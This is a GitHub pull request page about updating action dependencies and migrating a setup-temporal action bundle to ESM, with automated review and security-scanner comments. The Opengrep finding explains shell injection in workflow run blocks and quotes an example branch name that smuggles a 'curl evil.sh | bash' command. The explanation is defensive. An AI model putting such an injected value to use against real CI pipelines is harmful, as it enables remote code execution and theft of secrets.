Skip to content

build: update action dependencies - #27

Open
chaptersix wants to merge 2 commits into
automate-action-releasesfrom
dependency-rollup
Open

build: update action dependencies#27
chaptersix wants to merge 2 commits into
automate-action-releasesfrom
dependency-rollup

Conversation

@chaptersix

@chaptersix chaptersix commented Aug 13, 2026

Copy link
Copy Markdown
Collaborator

Summary

The bundle remains committed under dist/setup-temporal. ncc minification is disabled because it produces Node-invalid output for the current ESM dependency tree; the build removes generated trailing whitespace so the bundle-freshness check remains clean.

Validation

  • npm ci
  • npm run lint
  • npm run format:check
  • npm run build twice, with identical generated output
  • node --check dist/setup-temporal/index.js
  • git diff --check

Stack

Base: #26 (automate-action-releases). Merge after #26; GitHub will retarget it to main.

@chaptersix
chaptersix marked this pull request as ready for review August 13, 2026 22:56

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 54d022c9dd

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread package.json
@chaptersix
chaptersix requested a review from a team as a code owner August 13, 2026 23:19
@github-actions

Copy link
Copy Markdown

Opengrep — new findings

Severity Location Rule Message
ERROR .github/workflows/verify.yml:41 security.gha.run-shell-injection Untrusted GitHub context is interpolated directly into this run/script block, where it is substituted into the command before the shell runs — so quoting inside the script does not protect you. An attacker who controls the value (e.g. a pull-request title, label, or fork branch name such as a"; curl evil.sh | bash; ") can execute arbitrary commands on the runner and steal secrets or code. Fix: copy the value into a step-level env: entry (e.g. TITLE: ${{ github.event.pull_request.title }}) and reference the quoted environment variable in the script instead (echo "$TITLE"), which keeps the untrusted data out of command parsing. If the value appears only as a condition choosing between hard-coded string literals (e.g. ${{ github.head_ref == 'x' && 'a' || 'b' }}) the result is constant and not exploitable; still hoist it into bash so the run line carries no ${{ }}. Only inputs an external contributor can control without write access are flagged.
WARNING .github/workflows/verify.yml:41 security.gha.run-shell-injection-refs A Git ref (branch/tag name) that is not fork-controlled is interpolated directly into this run/script block — github.ref, github.base_ref, github.ref_name, pull_request.base.ref, or a repository default_branch. Setting these requires write access to the repository, so a fork pull request cannot control them and this is not externally exploitable. But Git ref names may contain shell metacharacters ($, ;, backticks, |, (, )), so route the value through a step-level env: entry (e.g. REF: ${{ github.base_ref }}) and reference the quoted environment variable instead (echo "$REF") as defense-in-depth. The fork-controlled refs (github.head_ref, pull_request.head.ref) are the externally-exploitable case and are reported at ERROR severity by security.gha.run-shell-injection.

Suppress findings

Add a noopengrep comment on the line before the finding:

# noopengrep: <rule-id>

Migrate the bundle to ESM so the current Actions toolkit packages can be bundled safely.
@chaptersix

Copy link
Copy Markdown
Collaborator Author

@codex review

@chatgpt-codex-connector

Copy link
Copy Markdown

Codex Review: Didn't find any major issues. 🎉

Reviewed commit: 0527c54189

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant